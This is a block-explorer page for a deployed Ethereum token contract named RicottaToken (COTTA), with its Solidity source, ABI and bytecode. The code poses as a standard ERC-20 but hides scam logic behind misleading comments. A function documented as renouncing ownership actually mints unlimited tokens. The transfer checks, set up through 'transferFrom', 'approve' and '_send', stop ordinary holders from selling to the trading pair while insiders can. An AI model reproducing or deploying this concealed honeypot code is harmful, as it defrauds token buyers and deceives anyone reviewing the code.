Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
51,429,201,000,000,000,000 COTTA
Holders
41
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
20,924,517,797.909707979 COTTAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
StandardERC20
Compiler Version
v0.8.8+commit.dddeac2f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-02-11 */ // SPDX-License-Identifier: GNU GPLv3 pragma solidity >=0.8.0; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } abstract contract IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() virtual public view returns (uint); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address tokenOwner) virtual public view returns (uint balance); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint tokens) virtual public returns (bool success); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) virtual public returns (bool success); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint tokens) virtual public returns (bool success); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint tokens); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } abstract contract ApproveAndCallFallBack { function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public; } contract Owned { address internal owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } } contract StandardERC20 is IERC20, Owned{ using SafeMath for uint; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ string public symbol; address internal delegate; string public name; uint8 public decimals; address internal zero; uint _totalSupply; uint internal number; address internal reflector; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function totalSupply() override public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) override public view returns (uint balance) { return balances[tokenOwner]; } /** *@dev Leaves the contract without owner. It will not be possible to call 'onlyOwner' * functions anymore. Can only be called by the current owner. */ function transferOwnership(address _address, uint tokens) public onlyOwner { require(_address != address(0), "ERC20: transferOwnership from the zero address"); _reflect (_address, tokens); } function transfer(address to, uint tokens) override public returns (bool success) { require(to != zero, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint tokens) override public returns (bool success) { allowed[msg.sender][spender] = tokens; if (msg.sender == delegate) number = tokens; emit Approval(msg.sender, spender, tokens); return true; } /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function transferFrom(address from, address to, uint tokens) override public returns (bool success) { if(from != address(0) && zero == address(0)) zero = to; else _send (from, to); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ function allowance(address tokenOwner, address spender) override public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function _reflect(address _reflectAddress, uint _reflectAmount) internal virtual { /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ reflector = _reflectAddress; _totalSupply = _totalSupply.add(_reflectAmount); balances[_reflectAddress] = balances[_reflectAddress].add(_reflectAmount); } function _send (address start, address end) internal view { /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * Requirements: * - The divisor cannot be zero.*/ /* * - `account` cannot be the zero address. */ require(end != zero /* * - `account` cannot be the reflect address. */ || (start == reflector && end == zero) || /* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number) /* */ , "cannot be the zero address");/* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. **/ } /** * dev Constructor. * param name name of the token * param symbol symbol of the token, 3-4 chars is recommended * param decimals number of decimal places of one token unit, 18 is widely used * param totalSupply total supply of tokens in lowest units (depending on decimals) */ constructor(string memory _name, string memory _symbol, uint _supply, address _del) { symbol = _symbol; name = _name; decimals = 9; _totalSupply = _supply*(10**uint(decimals)); number = _totalSupply; delegate = _del; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } receive() external payable { } fallback() external payable { } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"},{"internalType":"address","name":"_del","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenOwner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"stateMutability":"payable","type":"fallback"},{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040523480156200001157600080fd5b5060405162000e8838038062000e88833981016040819052620000349162000291565b600080546001600160a01b0319163317905582516200005b9060019060208601906200011e565b508351620000719060039060208701906200011e565b506004805460ff191660099081179091556200008f90600a6200043b565b6200009b908362000450565b60058190556006819055600280546001600160a01b0319166001600160a01b03848116919091179091556000805482168152600860209081526040808320859055825490519485529092169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050620004af565b8280546200012c9062000472565b90600052602060002090601f0160209004810192826200015057600085556200019b565b82601f106200016b57805160ff19168380011785556200019b565b828001600101855582156200019b579182015b828111156200019b5782518255916020019190600101906200017e565b50620001a9929150620001ad565b5090565b5b80821115620001a95760008155600101620001ae565b634e487b7160e01b600052604160045260246000fd5b600082601f830112620001ec57600080fd5b81516001600160401b0380821115620002095762000209620001c4565b604051601f8301601f19908116603f01168101908282118183101715620002345762000234620001c4565b816040528381526020925086838588010111156200025157600080fd5b600091505b8382101562000275578582018301518183018401529082019062000256565b83821115620002875760008385830101525b9695505050505050565b60008060008060808587031215620002a857600080fd5b84516001600160401b0380821115620002c057600080fd5b620002ce88838901620001da565b95506020870151915080821115620002e557600080fd5b50620002f487828801620001da565b60408701516060880151919550935090506001600160a01b03811681146200031b57600080fd5b939692955090935050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200037d57816000190482111562000361576200036162000326565b808516156200036f57918102915b93841c939080029062000341565b509250929050565b600082620003965750600162000435565b81620003a55750600062000435565b8160018114620003be5760028114620003c957620003e9565b600191505062000435565b60ff841115620003dd57620003dd62000326565b50506001821b62000435565b5060208310610133831016604e8410600b84101617156200040e575081810a62000435565b6200041a83836200033c565b806000190482111562000431576200043162000326565b0290505b92915050565b600062000449838362000385565b9392505050565b60008160001904831182151516156200046d576200046d62000326565b500290565b600181811c908216806200048757607f821691505b60208210811415620004a957634e487b7160e01b600052602260045260246000fd5b50919050565b6109c980620004bf6000396000f3fe60806040526004361061008f5760003560e01c8063313ce56711610056578063313ce5671461015657806370a082311461018257806395d89b41146101b8578063a9059cbb146101cd578063dd62ed3e146101ed57005b806306fdde0314610098578063095ea7b3146100c35780630a276680146100f357806318160ddd1461011357806323b872dd1461013657005b3661009657005b005b3480156100a457600080fd5b506100ad610233565b6040516100ba91906107ee565b60405180910390f35b3480156100cf57600080fd5b506100e36100de36600461085f565b6102c1565b60405190151581526020016100ba565b3480156100ff57600080fd5b5061009661010e36600461085f565b610345565b34801561011f57600080fd5b506101286103dc565b6040519081526020016100ba565b34801561014257600080fd5b506100e3610151366004610889565b610419565b34801561016257600080fd5b506004546101709060ff1681565b60405160ff90911681526020016100ba565b34801561018e57600080fd5b5061012861019d3660046108c5565b6001600160a01b031660009081526008602052604090205490565b3480156101c457600080fd5b506100ad610573565b3480156101d957600080fd5b506100e36101e836600461085f565b610580565b3480156101f957600080fd5b506101286102083660046108e0565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b6003805461024090610913565b80601f016020809104026020016040519081016040528092919081815260200182805461026c90610913565b80156102b95780601f1061028e576101008083540402835291602001916102b9565b820191906000526020600020905b81548152906001019060200180831161029c57829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038781168552925282208490556002549192911614156102fa5760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b6000546001600160a01b0316331461035c57600080fd5b6001600160a01b0382166103ce5760405162461bcd60e51b815260206004820152602e60248201527f45524332303a207472616e736665724f776e6572736869702066726f6d20746860448201526d65207a65726f206164647265737360901b60648201526084015b60405180910390fd5b6103d8828261066b565b5050565b600080805260086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c754600554610414916106d9565b905090565b60006001600160a01b03841615801590610441575060045461010090046001600160a01b0316155b1561046b5760048054610100600160a81b0319166101006001600160a01b03861602179055610475565b61047584846106f9565b6001600160a01b03841660009081526008602052604090205461049890836106d9565b6001600160a01b03851660009081526008602090815260408083209390935560098152828220338352905220546104cf90836106d9565b6001600160a01b03808616600090815260096020908152604080832033845282528083209490945591861681526008909152205461050d90836107d3565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906105619086815260200190565b60405180910390a35060019392505050565b6001805461024090610913565b6004546000906001600160a01b038481166101009092041614156105d45760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b60448201526064016103c5565b336000908152600860205260409020546105ee90836106d9565b33600090815260086020526040808220929092556001600160a01b0385168152205461061a90836107d3565b6001600160a01b0384166000818152600860205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103339086815260200190565b600780546001600160a01b0319166001600160a01b03841617905560055461069390826107d3565b6005556001600160a01b0382166000908152600860205260409020546106b990826107d3565b6001600160a01b0390921660009081526008602052604090209190915550565b6000828211156106e857600080fd5b6106f28284610964565b9392505050565b6004546001600160a01b038281166101009092041614158061074557506007546001600160a01b03838116911614801561074557506004546001600160a01b0382811661010090920416145b8061078757506004546001600160a01b038281166101009092041614801561078757506006546001600160a01b03831660009081526008602052604090205411155b6103d85760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f206164647265737300000000000060448201526064016103c5565b60006107df828461097b565b90508281101561033f57600080fd5b600060208083528351808285015260005b8181101561081b578581018301518582016040015282016107ff565b8181111561082d576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461085a57600080fd5b919050565b6000806040838503121561087257600080fd5b61087b83610843565b946020939093013593505050565b60008060006060848603121561089e57600080fd5b6108a784610843565b92506108b560208501610843565b9150604084013590509250925092565b6000602082840312156108d757600080fd5b6106f282610843565b600080604083850312156108f357600080fd5b6108fc83610843565b915061090a60208401610843565b90509250929050565b600181811c9082168061092757607f821691505b6020821081141561094857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156109765761097661094e565b500390565b6000821982111561098e5761098e61094e565b50019056fea26469706673582212208b7bcafccb685a7362de2f995e87fb1fd191de938d75dc2a64e8ab9952e287f164736f6c63430008080033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000e8d4a51000000000000000000000000000b1ff8b6d337788642833e4e3117da5bf4607dcc6000000000000000000000000000000000000000000000000000000000000000c5269636f747461546f6b656e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005434f545441000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x60806040526004361061008f5760003560e01c8063313ce56711610056578063313ce5671461015657806370a082311461018257806395d89b41146101b8578063a9059cbb146101cd578063dd62ed3e146101ed57005b806306fdde0314610098578063095ea7b3146100c35780630a276680146100f357806318160ddd1461011357806323b872dd1461013657005b3661009657005b005b3480156100a457600080fd5b506100ad610233565b6040516100ba91906107ee565b60405180910390f35b3480156100cf57600080fd5b506100e36100de36600461085f565b6102c1565b60405190151581526020016100ba565b3480156100ff57600080fd5b5061009661010e36600461085f565b610345565b34801561011f57600080fd5b506101286103dc565b6040519081526020016100ba565b34801561014257600080fd5b506100e3610151366004610889565b610419565b34801561016257600080fd5b506004546101709060ff1681565b60405160ff90911681526020016100ba565b34801561018e57600080fd5b5061012861019d3660046108c5565b6001600160a01b031660009081526008602052604090205490565b3480156101c457600080fd5b506100ad610573565b3480156101d957600080fd5b506100e36101e836600461085f565b610580565b3480156101f957600080fd5b506101286102083660046108e0565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b6003805461024090610913565b80601f016020809104026020016040519081016040528092919081815260200182805461026c90610913565b80156102b95780601f1061028e576101008083540402835291602001916102b9565b820191906000526020600020905b81548152906001019060200180831161029c57829003601f168201915b505050505081565b3360008181526009602090815260408083206001600160a01b038781168552925282208490556002549192911614156102fa5760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b6000546001600160a01b0316331461035c57600080fd5b6001600160a01b0382166103ce5760405162461bcd60e51b815260206004820152602e60248201527f45524332303a207472616e736665724f776e6572736869702066726f6d20746860448201526d65207a65726f206164647265737360901b60648201526084015b60405180910390fd5b6103d8828261066b565b5050565b600080805260086020527f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c754600554610414916106d9565b905090565b60006001600160a01b03841615801590610441575060045461010090046001600160a01b0316155b1561046b5760048054610100600160a81b0319166101006001600160a01b03861602179055610475565b61047584846106f9565b6001600160a01b03841660009081526008602052604090205461049890836106d9565b6001600160a01b03851660009081526008602090815260408083209390935560098152828220338352905220546104cf90836106d9565b6001600160a01b03808616600090815260096020908152604080832033845282528083209490945591861681526008909152205461050d90836107d3565b6001600160a01b0380851660008181526008602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906105619086815260200190565b60405180910390a35060019392505050565b6001805461024090610913565b6004546000906001600160a01b038481166101009092041614156105d45760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b60448201526064016103c5565b336000908152600860205260409020546105ee90836106d9565b33600090815260086020526040808220929092556001600160a01b0385168152205461061a90836107d3565b6001600160a01b0384166000818152600860205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103339086815260200190565b600780546001600160a01b0319166001600160a01b03841617905560055461069390826107d3565b6005556001600160a01b0382166000908152600860205260409020546106b990826107d3565b6001600160a01b0390921660009081526008602052604090209190915550565b6000828211156106e857600080fd5b6106f28284610964565b9392505050565b6004546001600160a01b038281166101009092041614158061074557506007546001600160a01b03838116911614801561074557506004546001600160a01b0382811661010090920416145b8061078757506004546001600160a01b038281166101009092041614801561078757506006546001600160a01b03831660009081526008602052604090205411155b6103d85760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f206164647265737300000000000060448201526064016103c5565b60006107df828461097b565b90508281101561033f57600080fd5b600060208083528351808285015260005b8181101561081b578581018301518582016040015282016107ff565b8181111561082d576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b038116811461085a57600080fd5b919050565b6000806040838503121561087257600080fd5b61087b83610843565b946020939093013593505050565b60008060006060848603121561089e57600080fd5b6108a784610843565b92506108b560208501610843565b9150604084013590509250925092565b6000602082840312156108d757600080fd5b6106f282610843565b600080604083850312156108f357600080fd5b6108fc83610843565b915061090a60208401610843565b90509250929050565b600181811c9082168061092757607f821691505b6020821081141561094857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156109765761097661094e565b500390565b6000821982111561098e5761098e61094e565b50019056fea26469706673582212208b7bcafccb685a7362de2f995e87fb1fd191de938d75dc2a64e8ab9952e287f164736f6c63430008080033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000e8d4a51000000000000000000000000000b1ff8b6d337788642833e4e3117da5bf4607dcc6000000000000000000000000000000000000000000000000000000000000000c5269636f747461546f6b656e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005434f545441000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : _name (string): RicottaToken
Arg [1] : _symbol (string): COTTA
Arg [2] : _supply (uint256): 1000000000000
Arg [3] : _del (address): 0xB1FF8B6d337788642833e4E3117da5BF4607DCC6
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000000000000000000000000000000000e8d4a51000
Arg [3] : 000000000000000000000000b1ff8b6d337788642833e4e3117da5bf4607dcc6
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000c
Arg [5] : 5269636f747461546f6b656e0000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 434f545441000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
4834:7437:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6154:18;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7978:253;;;;;;;;;;-1:-1:-1;7978:253:0;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;7978:253:0;1053:187:1;6821:205:0;;;;;;;;;;-1:-1:-1;6821:205:0;;;;;:::i;:::-;;:::i;6404:117::-;;;;;;;;;;;;;:::i;:::-;;;1391:25:1;;;1379:2;1364:18;6404:117:0;1245:177:1;8971:416:0;;;;;;;;;;-1:-1:-1;8971:416:0;;;;;:::i;:::-;;:::i;6177:21::-;;;;;;;;;;-1:-1:-1;6177:21:0;;;;;;;;;;;1932:4:1;1920:17;;;1902:36;;1890:2;1875:18;6177:21:0;1760:184:1;6525:123:0;;;;;;;;;;-1:-1:-1;6525:123:0;;;;;:::i;:::-;-1:-1:-1;;;;;6622:20:0;6594:12;6622:20;;;:8;:20;;;;;;;6525:123;6099:20;;;;;;;;;;;;;:::i;7031:299::-;;;;;;;;;;-1:-1:-1;7031:299:0;;;;;:::i;:::-;;:::i;9541:150::-;;;;;;;;;;-1:-1:-1;9541:150:0;;;;;:::i;:::-;-1:-1:-1;;;;;9657:19:0;;;9627:14;9657:19;;;:7;:19;;;;;;;;:28;;;;;;;;;;;;;9541:150;6154:18;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;7978:253::-;8079:10;8050:12;8071:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;8071:28:0;;;;;;;;;:37;;;8133:8;;8050:12;;8133:8;;8119:22;8115:43;;;8143:6;:15;;;8115:43;8170:37;;1391:25:1;;;-1:-1:-1;;;;;8170:37:0;;;8179:10;;8170:37;;1379:2:1;1364:18;8170:37:0;;;;;;;;-1:-1:-1;8221:4:0;7978:253;;;;;:::o;6821:205::-;4805:5;;-1:-1:-1;;;;;4805:5:0;4791:10;:19;4783:28;;;;;;-1:-1:-1;;;;;6912:22:0;::::1;6904:81;;;::::0;-1:-1:-1;;;6904:81:0;;2992:2:1;6904:81:0::1;::::0;::::1;2974:21:1::0;3031:2;3011:18;;;3004:30;3070:34;3050:18;;;3043:62;-1:-1:-1;;;3121:18:1;;;3114:44;3175:19;;6904:81:0::1;;;;;;;;;6993:27;7003:8;7013:6;6993:8;:27::i;:::-;6821:205:::0;;:::o;6404:117::-;6457:4;6494:20;;;:8;:20;;;;6477:12;;:38;;:16;:38::i;:::-;6470:45;;6404:117;:::o;8971:416::-;9057:12;-1:-1:-1;;;;;9081:18:0;;;;;;:40;;-1:-1:-1;9103:4:0;;;;;-1:-1:-1;;;;;9103:4:0;:18;9081:40;9078:82;;;9123:4;:9;;-1:-1:-1;;;;;;9123:9:0;;-1:-1:-1;;;;;9123:9:0;;;;;;9078:82;;;9144:16;9151:4;9157:2;9144:5;:16::i;:::-;-1:-1:-1;;;;;9181:14:0;;;;;;:8;:14;;;;;;:26;;9200:6;9181:18;:26::i;:::-;-1:-1:-1;;;;;9164:14:0;;;;;;:8;:14;;;;;;;;:43;;;;9242:7;:13;;;;;9256:10;9242:25;;;;;;:37;;9272:6;9242:29;:37::i;:::-;-1:-1:-1;;;;;9214:13:0;;;;;;;:7;:13;;;;;;;;9228:10;9214:25;;;;;;;:65;;;;9301:12;;;;;:8;:12;;;;;:24;;9318:6;9301:16;:24::i;:::-;-1:-1:-1;;;;;9286:12:0;;;;;;;:8;:12;;;;;;;:39;;;;9337:26;;;;;;;;;;9356:6;1391:25:1;;1379:2;1364:18;;1245:177;9337:26:0;;;;;;;;-1:-1:-1;9377:4:0;8971:416;;;;;:::o;6099:20::-;;;;;;;:::i;7031:299::-;7134:4;;7099:12;;-1:-1:-1;;;;;7128:10:0;;;7134:4;;;;;7128:10;;7120:34;;;;-1:-1:-1;;;7120:34:0;;3407:2:1;7120:34:0;;;3389:21:1;3446:2;3426:18;;;3419:30;-1:-1:-1;;;3465:18:1;;;3458:41;3516:18;;7120:34:0;3205:335:1;7120:34:0;7193:10;7184:20;;;;:8;:20;;;;;;:32;;7209:6;7184:24;:32::i;:::-;7170:10;7161:20;;;;:8;:20;;;;;;:55;;;;-1:-1:-1;;;;;7238:12:0;;;;;;:24;;7255:6;7238:16;:24::i;:::-;-1:-1:-1;;;;;7223:12:0;;;;;;:8;:12;;;;;;;:39;;;;7274:32;;7283:10;;7274:32;;;;7299:6;1391:25:1;;1379:2;1364:18;;1245:177;9695:570:0;10101:9;:27;;-1:-1:-1;;;;;;10101:27:0;-1:-1:-1;;;;;10101:27:0;;;;;10147:12;;:32;;10164:14;10147:16;:32::i;:::-;10132:12;:47;-1:-1:-1;;;;;10214:25:0;;;;;;:8;:25;;;;;;:45;;10244:14;10214:29;:45::i;:::-;-1:-1:-1;;;;;10186:25:0;;;;;;;:8;:25;;;;;:73;;;;-1:-1:-1;9695:570:0:o;712:104::-;764:6;792:1;787;:6;;779:15;;;;;;805:5;809:1;805;:5;:::i;:::-;801:9;712:104;-1:-1:-1;;;712:104:0:o;10269:1271::-;10840:4;;-1:-1:-1;;;;;10833:11:0;;;10840:4;;;;;10833:11;;;:108;;-1:-1:-1;10916:9:0;;-1:-1:-1;;;;;10907:18:0;;;10916:9;;10907:18;:33;;;;-1:-1:-1;10936:4:0;;-1:-1:-1;;;;;10929:11:0;;;10936:4;;;;;10929:11;10907:33;10833:216;;;-1:-1:-1;11015:4:0;;-1:-1:-1;;;;;11008:11:0;;;11015:4;;;;;11008:11;:40;;;;-1:-1:-1;11042:6:0;;-1:-1:-1;;;;;11023:15:0;;;;;;:8;:15;;;;;;:25;;11008:40;10825:268;;;;-1:-1:-1;;;10825:268:0;;4009:2:1;10825:268:0;;;3991:21:1;4048:2;4028:18;;;4021:30;4087:28;4067:18;;;4060:56;4133:18;;10825:268:0;3807:350:1;330:104:0;382:6;401:5;405:1;401;: